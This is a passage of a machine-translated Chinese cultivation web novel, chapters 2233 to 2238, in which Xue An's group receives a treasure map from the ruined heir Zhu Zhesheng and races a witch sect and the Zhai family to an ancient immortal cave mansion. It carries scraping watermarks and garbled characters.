    "Naturally go back to Yue''s house!" Yue Qinghuan was inexplicable, and he didn''t understand why Xue An asked.


    Isn''t this already stated in advance?


    Unexpectedly, Xue An shook his head slightly, "Don''t go!"


    "What did you say? Not going? Why not? Are you scared?" Yue Qinghuan''s expression instantly became gloomy.


    Xue An chuckled, "Of course I''m not afraid of being afraid, and I don''t mean to never go, but I need to slow down!"


    "Slowly, when will it slow down?" Yue Qinghuan asked aggressively.


    Xue An took a deep look at her, "Slow down until my strength is enough to support my ideas!"


    These words made Yue Qinghuan swallow all the following words.


    Because Bingxue was as smart as her, she understood Xue An''s meaning in an instant.


    At this time, Xue An continued: "I always thought that although my realm was low, but my strength was not bad, but the matter of Yuehua Zhongjun made me understand that this outer heaven is more realistic than the heavens where I am. Only strength is the root of everything."


    Speaking of this, Xue An took a deep look at Yue Qinghuan, "Moreover, even if I follow you back to Yue''s house now, based on my current state, I guess I won''t be taken seriously!"


    Yue Qinghuan''s mouth moved, and he wanted to say something, but he couldn''t say it.


    Because what Xue An said was an iron fact, she couldn''t refute it.


    Only after a while, she whispered: "Then what realm do you plan to cultivate?"


    "At least I have to cross the current realm and reach the peak of Xianzun! Because only then can I have a little right to speak!" Xue An said solemnly.


    But after hearing this, the look in Yue Qinghuan''s eyes grew dimmed.


    "You have a good idea, but have you ever thought about..."


    Yue Qinghuan raised his head, "When you reach your realm, it is extremely difficult to improve your strength. It is even more difficult to reach the sky if you want to cross a large realm, and it also requires a variety of opportunities to achieve it.


    "So if you want to cultivate a little bit from your current state, even if your talent is amazing, it will take at least ten years, then the question is, are we still waiting for ten years here?"


    Facing Yue Qinghuan''s questioning, Xue An remained silent.


    At this time, Shadow Turtle Emperor, Lu Yangyan and the others also heard the conversation between Xue An and Yue Qinghuan, and they couldn''t help being silent.


    Yes!


    Do you really have to wait for ten years here?


    When everyone was at a loss, the man who followed Xue An and others from the prison suddenly said timidly.


    "I...I think I might have a chance here to help Mr. Xue ascend to the Immortal Venerable early!"


    As soon as the words came out, everyone turned their heads, their eyes all focused on the man.


    The grumpy Shadow Turtle King took a step forward and said viciously: "What did you say? You say it again?"


    At this time, the look on the man''s face became even more flustered, and he stammered: "I...I said I have a chance here. UU reading www.uuk��nshu.com may be helpful to Mr. Xue!"


    It was a bright light before everyone''s eyes.


    The Shadow Turtle Emperor roared even more: "That''s not it!"


    Not to mention that this man''s strength has been sealed, even when he was not sealed, as a dude, he could not be the opponent of the Shadow Turtle King and other demon kings.


    Therefore, under this roar, he couldn''t help trembling even more.


    When the Shadow Turtle King saw this, he just wanted to talk.


    At this moment, Xue An stretched out his hand and patted Shadow Turtle King on the shoulder.


    The Shadow Turtle Sovereign then retreated, and then Xue An stepped forward and said softly: "Don''t be afraid, what is your chance?"


    The man calmed down a bit, and then trembled: "It''s a cave mansion!"


    "Dongfu?"


    "That''s right!" The man took a deep breath and said word by word: "Moreover, it is a deserted fairy sect cave mansion!"

 Chapter 2233： Ancestral biography

    As soon as this statement came out, there was a commotion among the people.


    Because people are very clear about what this Xianzong Dongfu means.


    Even in the outer sky where there are strong people everywhere, there are rare existences that can be called Xianzong Dongfu.


    Because these places are all beautiful and wonderful.


    There are even rumors that in some large caves, you can even directly touch the law of heaven.


    This is self-evident for one''s practice.


    And if it is as this man said, even if the Xianjia Dongfu is deserted, it will be an unimaginable huge treasure.


    Because no matter what the sect, the most precious treasures are generally hidden in the cave.


    This also means that it is not only a holy place for spiritual practice, but it may also be a secret treasure house.


    But is this guy who lost all his wealth in Zuishenglou, and even his life is hard to save, can he know where the Immortal Cave House is?


    Everyone expressed deep doubts about this.


    As if feeling everyone''s suspicion, the man flushed and stammered: "I know you don''t believe it, but how can I lie to you in this kind of thing?"


    "You said you didn''t lie to us, then you have to show evidence!" Yue Qinghuan said.


    "Okay! Then I will give you evidence!"


    With that, the man stretched out his hand and started to unbutton the button on his chest.


    Yue Qinghuan jumped back in shock, "Hey, what are you doing?"


    "Give you evidence! Don''t you want evidence?"


    Following the voice, the man took off his shirt, revealing the ribbed ribs.


    On his spine, chest and abdomen, there are densely packed scars.


    These scars seem to have been there for a long time, and some only left a shallow mark.


    But even so, the number and density of the scars are still shocking.


    Then the man took a deep breath and slammed his stomach with his nails.


    A long cut was immediately opened in his stomach, and blood gushed out.


    The man''s complexion was pale and full of pain, but he still supported himself, trembling hands, plunged into the wound, and began to stir up, as if looking for something.


    Such a tragic scene caused Lu Yangyan''s sister to scream, turning her head and daring not to look at it again.


    As for Yue Qinghuan, his face changed slightly.


    Because she didn''t expect this man who looked slick and slick to be so staunch.


    At this moment, when he saw the man groan, he pulled out something from his belly as soon as his arm was hard.


    With blood dripping, he was sweating coldly, and said almost collapsed: "This is my proof!"


    When he said this, his figure was shaky, and he seemed to faint at any time.


    Xue An immediately appeared beside him, with the soft light flickering in his hands, resting on the man''s shoulders.


    In an instant, the wound on the man''s stomach stopped bleeding and healed quickly.


    At the same time, his eyes regained their radiance, and he gratefully said to Xue An, "Thank you!"


    Xue An smiled slightly, and then looked at the thing in his hand.


    "this is����."


    The man carefully opened the package on the outside of this thing, and inside it was a non-paper and non-silk map.


    When it is unfolded, but see the above has drawn a huge road map in a subtle way.


    "This is the map leading to that Xianzong Dongfu." The man said.


    Xue An raised his eyebrows slightly. Although it was just a casual glance, he could also see that the map was definitely not forged.


    At this time, the man handed the map to Xue An, "As long as you follow the above route, you can find the Xianzong Dongfu!"


    Xue An received the hand and found that the touch was as warm as jade, and whether it was divine mind or cultivation base, once it entered it, it would be like a clay cow into the sea without returning, obviously not a common product.


    This further confirms the extraordinaryness of this thing.


    This couldn''t help making Xue An''s expression gradually solemn, and then looked at the man.


    "Do you really want to give this thing to me?"


    The man nodded, "Of course!"


    "Then do you know the value of this thing?"


    "How can I not know? In fact, our family paid a very heavy price to keep this thing!"


    Xue An''s heart moved, "So, this thing is from your ancestors?"


    The man nodded, "Yes!"


    Next, the man gave a general account of the whole thing.


    It turned out that this man was named Zhu Zhesheng, and he was born to manage spirit mines for generations.


    Because of the accumulation of ancestors, the family is also quite rich, so in the star field where his family is located, it can be regarded as some prestige.


    But compared with Na Xuanhe''s wealth, it is the withered network of Zhu''s family.


    Especially after the generation of Zhu Zhesheng, the people are completely withered, and he is the only descendant left.


    If that''s all there is to it, the point is that after all the elders in the family have passed away, he begins to act recklessly under no one''s control.


    Especially under the deliberate lure of some caring people, he was even more contaminated with the vice of gambling.


    Soon, the wealth of the family was lost by him.


    But at any rate, he still has a bottom line. Even though his wealth has lost, he has never thought of touching the veins of the soul.


    But he hadn''t thought about it, but he couldn''t resist the coveting of others.


    Soon, under the deliberate control of people with ulterior motives, he came to this exquisite city, and soon became obsessed with Zuisheng Building.


    At this point, he naturally didn''t care about the bottom line or the bottom line, and soon the spirit mine vein was sold by him.


    The wealth he gained made him very beautiful in the Zuisheng Building, but the final outcome was the same as all the gamblers in the world, and he was directly washed out.


    But by this time, things were still going on. These people didn''t know what was going on, but they knew that his family had such an ancestral treasure map, and they began to keep asking him.


    Among them, the person who tempted him to Zuishenglou was the most enthusiastic.


    Until then, Zhu Zhesheng finally understood everything.


    It turned out that this whole thing was a trap from beginning to end.


    These people want not only the Zhu family''s property, but also this treasure map.


    But Zhu Zhesheng is also very clear that if UU reading really handed over this treasure map, then he would not be far from death.


    So he gritted his teeth and refused to admit it.


    At this time, his unrestrained temperament actually helped a lot, allowing him to endure several severe tortures abruptly.


    Later, I don''t know if these people gave up or what happened. Suddenly, no one paid any attention to him.


    And this level has been closed until the appearance of Xue An.


    Originally, Zhu Zhesheng was completely desperate.


    But Xue An''s appearance made him see hope again.


    He only listened to him with a wry smile: "This treasure map is a treasure handed down by my family for generations. When my father passed it to me, he warned me that unless he is fully certain, he must not show it to others, otherwise it will definitely lead to murder. A catastrophe, for this I kept secretly burying it in my belly until I met you!"


    Xue An held the treasure map in his hand, took a deep look at Zhu Zhesheng, and then slowly said, "So...what do you want?"

 Chapter 2234： The most poisonous womans heart

    Xue An knew very well that Zhu Zhesheng would never dedicate such a great opportunity to himself for no reason, so he must have a plan.


    really.


    When Xue An asked, Zhu Zhesheng immediately fell to his knees and said with hatred.


    "My lord, I have nothing to ask for. I only ask you for one thing. That is to make the people who set up the situation to harm me pay a thousand times the price and get back all the things I lost!"


    "Then who is the one who framed you?"


    Zhu Zhesheng raised his head and gritted his teeth and said: "It''s true that the person who framed me is the villain''s fiancee!"


    "Fiancee?" Yue Qinghuan asked in surprise.


    "Yes!"


    Next, Zhu Zhesheng recounted the course of the matter with a humiliating face.


    It turns out that when the father of Zhu Zhesheng was still alive, he had done a marriage for Zhu Zhesheng.


    The other party is a wealthy family who runs the spirit stone business. Because they often deal with the Zhu family who owns the spirit mine, the relationship is very good.


    At that time, both parties believed that this marriage was a match made in heaven, because as long as the two married, the relationship between the two-family family would go further.


    At that time, there will be both mineral veins and operations, and they will be invincible.


    Zhu Zhesheng naturally didn''t have any opinion on this, because he had also met his fianc��e at the time and found that she was not only beautiful in appearance, but also very charming and charming.


    But I never thought that before they got married, the fathers of the Zhu family died violently. In the blink of an eye, he was the only one left in the Zhu family.


    In this way, the marriage is naturally put on hold.


    But what moved Zhu Zhesheng at that time was that his fianc��e did not leave him, but instead took the initiative to take care of his funeral.


    In this way, under the ears and temples who were getting along day and night, the two of them drew firewood, which can be said to be uncontrollable.


    At that time, Zhu Zhesheng really thought that he had found a soul mate.


    But he never expected that every step his fiancee did was purposeful.


    Soon, under the temptation of her intentionally or unintentionally, Zhu Zhesheng became infected with the vice of gambling.


    And eventually lost most of the wealth.


    Even so, Zhu Zhesheng still did not notice, but felt that he was unlucky.


    Later, the fianc��e used means to bring him to Linglong City, and finally made him stuck in it and unable to extricate himself.


    Speaking of these past, the hatred on Zhu Zhesheng''s face almost overflowed.


    "Hate that I had no eyes at the time. I thought that **** was really good to me, and even let her handle the veins uploaded by my ancestors for me. As a result..."


    "As a result, she sold the mineral veins to her family, right?" Xue An said suddenly.


    Zhu Zhesheng was taken aback and looked at Xue An in a daze, obviously not knowing how he guessed it.


    Xue An sighed softly, "Don''t you understand until now? This incident was a trap from the beginning! Including this so-called marriage contract is just to let you relax your vigilance."


    Zhu Zhesheng''s eyes gradually widened, and he was obviously surprised by Xue An''s words.


    "You...you mean to say..."


    Xue An nodded, "Yes, even your father''s generation may have died in their hands!"


    This sentence really seemed like a bolt from the blue sky, which made Zhu Zhesheng froze in place at that time.


    But at the same time, countless pictures flashed through his mind, and some details that hadn''t been paid attention to were also instantly clear at this moment.


    Why is the marriage contract concluded so eagerly.......


    Why does the other party appear to be so accommodating.......


    Why did the healthy fathers die violently soon after the marriage contract was signed...?


    All these things made him tremble all over, then he shed tears and cried in a dumb voice.


    "Okay! What a femme-hearted woman... So she wanted to ruin my family from the beginning!"


    At the end, Zhu Zhesheng began to cry, his cries filled with infinite resentment and resentment.


    Xue An didn''t persuade him, so he watched quietly.


    The faces of Yue Qinghuan and others also showed unbearable expressions.


    Because no matter who it is, it will be unacceptable to hear that the person who has caused him so miserable is the fiancee he once trusted the most.


    It was not until a long time later that Zhu Zhesheng gradually stopped crying, then raised his head, and said to Xue An with empty eyes.


    "My lord, thank you for reminding me, otherwise I will still be kept in the dark. It''s ridiculous to think about it now! It''s ridiculous that I was being played around by this bitch, but I didn''t know it, and even got my hands full of me. The women of the father��s blood share the same bed together..."


    Speaking of this, Zhu Zhesheng opened his mouth and spit out a big mouthful of blood, and his kneeling figure was even more shaky.


    Lu Yangyan wanted to step forward, but Xue An stopped him.


    "Let him vent, he will feel better after the blood is vomited out!"


    Only then did Lu Yangyan stop, and then looked at Zhu Zhesheng with great sympathy.


    Such news is really enough to crush any tough guy.


    At least Zhu Zhesheng groaned like crying and laughing.


    "Zhai Zhuqing...you are really cruel...you ruined my family and put me in jail. Do you think I''m dead now? It''s a pity that the sky has eyes and I came out hahahaha..."


    Zhu Zhesheng smiled nervously, his eyes gradually showed madness, and he was obviously on the verge of collapse.


    At this time, Xue An said solemnly: "Zhu Zhesheng, you have the news of this map, does that woman also know about it?"


    As soon as this statement came out, Zhu Zhesheng was shocked, even if he woke up, his eyes showed an extremely sad look.


    "That''s right! I mentioned this incident accidentally between the pillow seats. She didn''t respond at that time, but now I think about it, the reason why the people in Zuishenglou knew that I had a map and tortured me severely, It must also be the news she revealed."


    Xue An sighed slightly, "Then do you know why these people no longer care about you?"


    "Why? Could it be..."


    Xue An nodded If I guessed correctly, the other party must have found a route to this Immortal Cave Mansion through other methods, otherwise you think they will let it go. Fatty? "


    Zhu Zhesheng''s face was earthy in an instant, "Impossible...Except for this map, it is impossible for them to find other routes..."


    Despite this, Zhu Zhesheng''s voice became smaller and smaller. Obviously, he also knew that Xue An''s guess had a great possibility.


    Yue Qinghuan and the others were even more disillusioned.


    "If you say that, has the Xianzong Dongfu been stolen by these guys?" Yue Qinghuan said anxiously.


    Xue An shook his head, "Not yet, because on this map, the Qi machine that represents Xianzong Dongfu has not changed yet, so I guess these people should just have a glimpse of the path, but they haven''t been able to enter it yet. ."


    "Then what shall we do next?"


    Xue An raised his eyes to look at the sky, and said in a cold tone: "For the current plan, the only way to go now is to find this Xianzong cave mansion in front of everyone, otherwise all previous efforts will be abandoned!"

 Chapter 2235： Witch goddess

    Hearing this, Zhu Zhesheng''s eyes burned with a faint ghost-like luster, and said grimly.


    "Sir, although our family has never entered this Xianzong Dongfu, after years of exploration, we have also found a path unknown to anyone, so as long as they are not close to the core area of ??Xianzong Dongfu, we You can definitely arrive early."


    "Well, in that case, let''s set off now!"


    And just as Xue An and others hurried to follow the location of Xianzong Cave Mansion marked on the map, there was a planet floating in that vast space somewhere.


    This planet is not big, but it is extremely rich.


    Because it is the Zhai family who is in charge of this planet, who is known for managing the business of Lingshi.


    Especially in recent years, with the acquisition of several high-quality mineral veins, this Zhai family''s wealth has become more and more prosperous, and it has become a leader in the nearby star field.


    And at this moment, in a secret room of the Zhai family, the head of the Zhai family, Zhai Dewen, the eldest daughter Zhai Zhuqing, and many top decision-makers of the Zhai family gathered together.


    And in this huge secret room, not only the people of the Zhai family, but also many strange faces were sitting opposite them.


    These people have men and women, but without exception, they are all first-class masters.


    Especially the woman sitting in the middle is the most terrifying. Although she is beautiful, but Gu Pan''s displacement is faintly serious, especially when the brilliance in her eyes flashes, it is even more creepy.


    Although there is not the kind of tolerance that speaks out and the world is under the law, but it is already a half-step saint-level existence.


    But this is not the reason why Zhai Dewen and others respect this woman so much.


    After all, although half-step saints are rare, the current monstrous wealth of the Zhai family does not take them too seriously.


    The key is that the power represented by this woman behind her is too amazing, so even if it is Zhai Dewen, she has to sit down and bow her head obediently, and dare not make any trouble.


    At this moment, the secret room is silent.


    People were all intently looking at the old woman who was sitting on the high platform in the middle of the secret room, who was closing their eyes.


    And around the high platform, there are dozens of strong swordsmen and axes standing one after the other.


    Kneeling in front of them were many prisoners with apathetic expressions and tightly bound hands and feet.


    The old woman couldn''t tell how old she was, and under her silver hair was a wrinkled face.


    And the thin body was sitting cross-legged, and the skinny fingers that looked like chicken feet were swiftly deducing what to calculate, and even more words in his mouth.


    And with this kind of performance almost like a stick, in front of this old woman, layers of phantoms swirled and disappeared, constantly changing their forms like clouds.


    Suddenly, the old woman opened her eyes.


    In an instant, the entire secret room seemed to have hit a flash.


    Under that appalling bright gaze, even Zhai Dewen would bow his head and retreat.


    At the same time, the old woman said in a mute voice like a ghost cry: "Where is the woman who has been intimate with that person?"


    After hearing this, Zhai Zhuqing walked out of the crowd quite unnaturally, lowered his head and said softly: "The little girl is here!"


    "Come on!"


    Zhai Zhuqing did not dare to neglect, so he had to resist the panic in his heart and stepped forward.


    Just standing still, the old woman grabbed her arm.


    Zhai Zhuqing just wanted to scream, the next second he was lost in the eyes of the old woman.


    Then the old woman muttered a word, and countless illusions appeared above Zhai Zhuqing''s head, and they passed by like a movie.


    Suddenly, the old woman seemed to have seen something, and suddenly shouted, "Stop!"


    The picture stopped instantly, and then the whole body of the old woman trembled like a convulsion.


    While shaking, she shouted in a voice that was almost crying: "Ghost crying wolf howling, I''m the sorcerer."


    With an order, behind the old woman appeared a virtual image that could not see clearly but contained supreme majesty.


    As soon as this virtual image appeared, all the pictures instantly shattered, and a message flew into the sea of ??knowledge of the old woman.


    The old woman cried and bowed to the ground, "Thank you, Lord Sorcerer God!"


    Words fall.


    Dozens of swords and axe hands that had been prepared on the side waved their knives together, directly beheading all the prisoners kneeling in front of them.


    Blood spattered out, and wisps of greyish aura floated from the bodies of these prisoners to this imaginary image.


    It wasn''t until all the breath was absorbed that the virtual image nodded in satisfaction, and then disappeared.


    After it disappeared, everyone in the audience breathed a sigh of relief.


    The old woman stood up tremblingly, let go of Zhai Zhuqing she was holding tightly, and then knelt back on her back.


    "Enlighten Lord Saint, after deduction and Lord Wizard''s oracle, the specific location of the Immortal Cave Mansion is already known!"


    "Oh? Where is that?" The woman called the saint said lightly.


    "It''s in a vein left by Zhu''s family!"


    As soon as this remark came out, it was like a shock to the heavens.


    Zhai Dewen immediately said: "Impossible. After I got my hands on the vein, I ordered people to investigate it carefully and carefully no less than ten times, but no abnormalities were found."


    The old woman sneered, "Patriarch Zhai, do you mean to doubt the oracle of our witch **** sect?"


    Zhai Dewen was so frightened that he hurriedly bowed his head, "I dare not dare, but if the Xianzong Dongfu is really in the veins, why would I wait for nothing?"


    "Hmph, how can you know the true **** if you wait for a mortal fetus with the naked eye? I think that Xianzong Dongfu is a fate, if anyone can see it, that''s a joke!"


    Hearing what the old woman said, Zhai Dewen''s face turned blue and red, and for a while he didn''t know how to get it right.


    At this moment, the woman slowly stood up and said in a majestic tone: "Well, Patriarch Zhai is also kind, so stop talking!"


    "Yes!" The old woman just stepped back.


    Then the woman looked at Zhai Dewen and said in a deep voice: "Patriarch Zhai, now the specific location of Xianzong Dongfu is known. As a foreword, after the event, I only need half of it, and the other half belongs to your Zhai family. how is it?"


    Zhai Dewen was overjoyed, UU read he had searched for Xianzong Dongfu several times to no avail, but he was caught by this


    The Sorcerer Sect came to the door and said it could help them find the treasure.


    But these days, Zhai Dewen has been frightened and frightened, afraid that the witch **** will turn his face and refuse to admit it after learning the specific treasure.


    Didn''t all the efforts before the Zhai family have been wasted?


    Now that she heard the woman''s personal promise, a big rock in Zhai Dewen''s heart fell to the ground, and he said convincingly: "Everything is arranged by the saint."


    "Very good, then I will ask Patriarch Zhai to gather the elite and prepare to leave!"


    "Yes!"


    Zhai Dewen led away excitedly.


    Zhai Zhuqing frowned slightly, but didn''t dare to say anything, so he had to follow along.


    After they left, the old woman leaned in a little puzzledly, "Sage, since you already know the whereabouts of the Dongfu, why bother with this district Zhaijia? A bunch of mediocre people, directly sacrificed them to Lord Wizard God Isn''t it all right?"

 Chapter 2236： Lingshi vein

    The woman chuckled, and a very vicious glow suddenly flashed across her delicate eyes.


    "That Xianzong Dongfu was left by the ancient immortals. It must have many institutions and many dangers. If you want to go in, you must use your life to make a **** road. Now that the people of this Zhai family are going to die in front, wouldn''t it be saved? Have you lost my warrior of the witch **** sect?"


    The old woman was overjoyed, and she said sincerely: "The saint is still thoughtful and thoughtful, the old body is dull."


    "Okay, I''ll be ready later. If this Immortal Sect Cave Mansion can be successfully obtained this time, then my position in the Sorcerer Sect will be as solid as a rock, and no one can shake it!"


    "Yes!"


    In the void that was only a few light hours away from Zhai''s planet, there were countless broken star gravels.


    These stardust gravels are like a huge river, lying in the void, with a radius of hundreds of millions of miles.


    This is the vein of spirit stone that once belonged to the Zhu family, and was later seized by the Zhai family.


    In this huge mining area, most of them are useless boulders, and the real spirit stones are almost hidden in the depths of this sea of ??star-gravel.


    But if you want to go deep into it, you will also take huge risks.


    Because this sea of ??stellar gravels did not know how it was created, and there are hidden dangers of all kinds, visible or invisible.


    And the most dangerous and distracting one is how to find a direction in it.


    Because once you enter it, you don''t know if it''s because of the special magnetic field or other reasons, any artifacts used to find the direction will fail.


    In addition, the size of the gravel inside is basically the same.


    In this case, no matter how powerful you are, you will lose your sense of direction in a very short time.


    Therefore, from ancient times to the present, I don��t know how many people entered it, but never returned.


    But the benefits of Lingshi are so great that no one will be willing to abandon it. Therefore, in order to obtain precious ores, the people of Zhu��s family first built a port and port from the periphery of the sea of ??stars and gravel, and then moved like an ant. It''s like a mountain, and it penetrates a little bit from the outside.


    Because the spirit stone is born upholding the aura of heaven and earth, once it appears, it is often piece by piece.


    So in the process of digging in, as long as you find the spirit stone, you will use this point as the benchmark and continue to go deeper.


    It was with this seemingly inefficient and stupid method that Zhu Jiaran successfully unearthed several large-scale mineral veins in this sea of ??stars and gravel.


    This is why the Zhai family was jealous and used all kinds of shameful means to plunder it.


    After all, such a generous income is enough to drive anyone crazy.


    now.


    Zhai Dewen led many elites from Zhai''s family and stood on the forefront of the pier in the mining area.


    The front convenience is a deep passage that extends into the sea of ??star gravel.


    On weekdays, this passage can be said to be full of people, and the mine carts that transport the spirit stones are coming in and out, which is full of enthusiasm.


    But today because he wanted to enter the mining area to explore the Xianzong Cave Mansion, Zhai Dewen had already ordered to disperse all the miners, and strictly sealed off the surrounding star field, so that no one was allowed to enter.


    Therefore, the mining area nowadays is extremely quiet, with only the sound of stardust collision coming from the sea of ??star gravel.


    At this time, Zhai Dewen stepped forward and asked with a smile on his face: "My Lord Saint, is the Xianzong Dongfu in this mine tunnel?"


    The saint stared at the deep and silent passage in front of her face sinkingly, and nodded.


    "That''s right! Through the breath of Zhuzhesheng obtained from your daughter, and the oracle of Lord Sorcerer God, it can be concluded that the Immortal Zong Dongfu is in this passage."


    "But we''ve searched it no less than ten times before, and we haven''t found anything unusual!" An old patriarch said in doubt.


    "The oracle can''t be wrong, so if you don''t find the strange thing, it can only show that you don''t have enough chance!" The saint said slowly.


    Then she took a deep breath, Lianbu moved lightly, and walked straight into the passage.


    The people of the witch **** sect followed closely behind.


    Zhai Dewen was even more unwilling to be left behind, for fear of being left behind, so he said loudly, "Master Saint, I will show you the way!"


    Speaking, he entered the passage first.


    Seeing this, the saint looked at each other with the old woman, and then there was a sneer on her face.


    It is a pity that Zhai Dewen, who was already blindfolded and blindfolded by Xianzong Dongfu, hadn''t noticed this at all, but led the way excitedly.


    As for the other members of the Zhai family, even if they felt something was wrong, they did not dare to say anything due to the power of the Patriarch.


    In this way, a group of people quickly came to the deepest part of the mine tunnel. The proven road ends here. Going further is a barren land that has not been explored. Once you enter it, the risk factor will increase sharply. .


    Zhai Dewen stopped and said, "My Lord Saint, going further in is the sea of ??stars and gravel, do you have a specific route? Otherwise, once you get into it, you will be in trouble if you lose your way!"


    "of course!"


    With that said, the saint stretched out her hand to touch the void in front of her.


    In an instant, a layer of light curtain emerged, and above it was a dense road map.


    And in the center of the road map is a golden light spot.


    The saint pointed at this light spot, "This... is where the Immortal Sect Cave Mansion is!"


    Seeing this scene, many people held their breath, and there was a flash of greed in Zhai Dewen''s eyes.


    The saint went on to say: "And if you want to enter it, you can only take this path!"


    With that, the saint''s fingers slid on the light curtain, drawing a winding route.


    "Patriarch Zhai, do you remember it?"


    Zhai Dewen nodded very excitedly, "Remember!"


    The saint smiled, "Then let''s move on!"


    "Yes!"


    Speaking of Zhai Dewen, he flew to the sea of ??stars and gravel enthusiastically, and he was completely irrational at the moment controlled by greed. UU reading www.uuk��nshu.com


    The same goes for other people including the Zhai family. Under the huge temptation of Xianzong Dongfu, they completely forgot the danger.


    Among them, only Zhai Zhuqing''s reason still existed. She looked at this scene with a pale face, and her figure kept shrinking back, as if she was extremely reluctant to enter.


    But at this moment, the old woman appeared beside her, and said gloomily, "Miss Zhai, where are you going?"


    Zhai Zhuqing was taken aback, and then forced a smile: "I...I don''t have to go in!"


    "Then how can it work, after all...your father, Patriarch Zhai is right in front, so please please!"


    Seeing the old woman''s smirk, Zhai Zhuqing had no choice but to endure the panic, and bit the bullet and followed.


    Behind them are the saints and the people of the witch **** sect.


    And just when these people went deep into the sea of ??star-gravel.


    At the other end of the sea of ??stars and gravels, Xue An, Yue Qinghuan and Zhu Zhesheng also showed their figures.

 Chapter 2237： ?? Strange Bird

    Looking at the boundless sea of ??stars and gravel, Zhu Zhesheng thumped and fell to his knees, tears welling up.


    "Father, uncle, unscrupulous descendant Zhu Zhesheng is back!"


    As he said, he banged his head three times, then raised his head and said cruelly: "If you wait until you are alive in the sky, and wait and see, I will definitely make the Zhai family pay a thousand times the price this time. ."


    Just when he cried and laughed, gritted his teeth and swears.


    On the other side, Yue Qinghuan approached Xue An and said in amazement: "Xue An, why do I think this sea of ??star-gravel is a little weird!"


    Since showing up, Xue An has been staring at this sea of ??star-gravel, until he heard Yue Qinghuan''s words, he narrowed his gaze and said lightly.


    "Why is it strange?"


    "The star gravel in this sea of ??star gravel seems chaotic, but in some places it seems to have a strange regularity, as if...like..."


    Yue Qinghuan frowned and thought for a long time, and suddenly his eyes lit up, "It''s just like the formation listed by our military strategists when they are in formation."


    Xue An turned his head and glanced at her, and found that although the girl was innocent like a child sometimes, but sometimes her eyes were sharp and terrifying.


    For example, after just such a short time, she found the law in this extremely messy sea of ??star gravel.


    "What do you think?" Yue Qinghuan asked again.


    Xue An nodded, and then faintly said: "Do you really think that such a vast sea of ??star-gravel appeared out of thin air?"


    Yue Qinghuan''s eyes lit up, "You mean... this sea of ??star gravel is related to that Xianzong Dongfu?"


    "Of course it''s related. If I''m not mistaken, there should be a huge planet before here. The Immortal Cave Mansion is on this planet, but I don''t know the reason behind it. The planet suddenly shattered and was in a certain place. This unknowable rule has become what it is now."


    At this time Zhu Zhesheng had also calmed down his excitement and moved closer.


    Therefore, after hearing Xue An''s words, his face couldn''t help showing a leisurely and fascinating color, and he whispered softly.


    "If all the star gravels in front of you are from a single planet, then how huge this planet should be!"


    Xue An did not say a word, because if viewed from the perspective of the heavens, such a huge planet would be against common sense and could not exist at all.


    But in this outer sky, anything can happen.


    Yue Qinghuan thought differently from Zhu Zhesheng. She said with a shocked face: "Don''t worry about how big this planet is. The key is what power made this planet look like now?"


    At this time, the three of them were silent.


    With Xue An''s current strength, it is still possible to destroy a small planet in this outer sky.


    But it is almost impossible to destroy such a huge planet.


    Because it has reached such a huge level, this planet has definitely generated extremely strong laws of heaven, which can''t be destroyed by ordinary means at all.


    Even the saints are too weak.


    Unless... there is a saint or higher level existence to shoot.


    And this thought also made the expressions of Yue Qinghuan and Zhu Zhesheng extremely solemn.


    "It seems that the loss of this Xianzong Dongfu is far from that simple!" Yue Qinghuan said.


    Xue An chuckled at this time, "Well, no matter who makes it, our top priority now is to enter the Xianzong Dongfu before the Zhai family. I believe that by then, all our questions will be answered. ."


    Hearing this, Yue Qinghuan couldn''t help nodding, and then looked towards Zhu Zhesheng.


    "Didn''t you say that there is a path unknown to anyone? Where is it? Don''t point it out quickly."


    Zhu Zhesheng smiled slightly, "Miss Yue, don''t worry, since I said yes, there must be!"


    As he said, he suddenly tore his sleeves open, exposing his arms below.


    "Hey, what do you want to do? Are you hiding something under the flesh again?"


    Yue Qinghuan took a step back and said helplessly.


    "Of course not! In fact, even I can''t find this path, so I have to rely on external forces!"


    "So you tore your own clothes? Are you sure you are not exhibitionist?" Yue Qinghuan asked Zhu Zhesheng''s arm for a long time and found nothing unusual, so he asked.


    Zhu Zhesheng didn''t speak, but slammed the tip of his tongue, and sprayed a mouthful of blood on his arm.


    puff!


    When the red blood mist fell, Zhu Zhesheng''s arm immediately showed strange patterns.


    In the blink of an eye, this ornamentation spread all over Zhu Zhesheng''s entire arm.


    It was only then that I could see that it turned out to be a tattoo of a strange bird.


    I saw that this strange bird was full of redness, one leg was independent, and the most important thing was that it had three heads.


    The three heads stretched along the elbows to the wrists, and the six eyes were glowing with abnormal red light.


    "This is the key to finding this path!" Zhu Zhesheng said.


    "That''s it? How do you find this?" Yue Qinghuan was a little unbelievable.


    Instead, Xue An raised his eyebrows slightly, "This is... �u (qi) �I (tu)?"


    Zhu Zhesheng was taken aback, "My lord has good eyesight, that''s right, this is the weird bird and buzzard!"


    Legend has it that this dinosaur is one of the ancient alien species, with three legs and six tails.


    But this is not the point. The point is that this bird is rumored to have a strange characteristic.


    Because this kind of bird is staunch and loyal, once it appears, it becomes a pair, and once one of them dies, the other will never forget, no matter how far apart, they can find their original place.


    So someone took advantage of their characteristics to kill one of them at the place that needed to be marked, and then completely covered up all traces.


    If you need to find it in the future, you can successfully find it back by passing through another �u�I.


    Although this method is simple and rude, UU reading is unbreakable, and it is extremely safe.


    Obviously, Zhu''s family also used this method to ensure the absolute safety of this trail.


    Zhu Zhesheng said in a deep voice: "This elderfish tattoo was handed down by a certain ancestor of my Zhu family. At that time, the ancestor of the Tianzong wizard found this path to Xianzong Dongfu through some method, but He didn''t dare to say anything, but secretly found a pair of �u�I and marked it!"


    "This tattoo is usually not revealed at all, so no one knows, and because the soul of the �u�I remains in it, when using it, as long as you wake it up with your blood, you can find the path according to the prompt!"


    Zhu Zhesheng raised his arm to aim at this sea of ??star-gravel, and under a slight shake, the eyes of the head on the left of the red �u began to flicker.


    "There is the entrance of the path, come with me!"


    With that said, Zhu Zhesheng took the lead and stepped into it.


    Xue An and Yue Qinghuan didn''t hesitate, and followed them.


    In the blink of an eye, the three of them disappeared into the vast sea of ??star gravel.

 Chapter 2238： Monster Guard

    Although the sea of ??star-gravel is extremely large, under the guidance of the red �u�I tattoo, the three of them quickly came to the center.


    At this point, the star boulders are as big as a hill and extremely dense. You must be very careful when traveling, otherwise it is very likely to collide with them.


    Although Zhu Zhesheng, who is the worst among the three of Xue An, has the strength not weaker than that of the Immortal Emperor, if he really collides with the star gravel in these core areas, there will be no good fruit.


    First of all, because the star boulders here have experienced thousands of years of impact, all that is left is an extremely solid core.


    Its hardness even surpasses many fine gold steels, and it is indeed very disadvantageous to collide with these star gravels with a physical body.


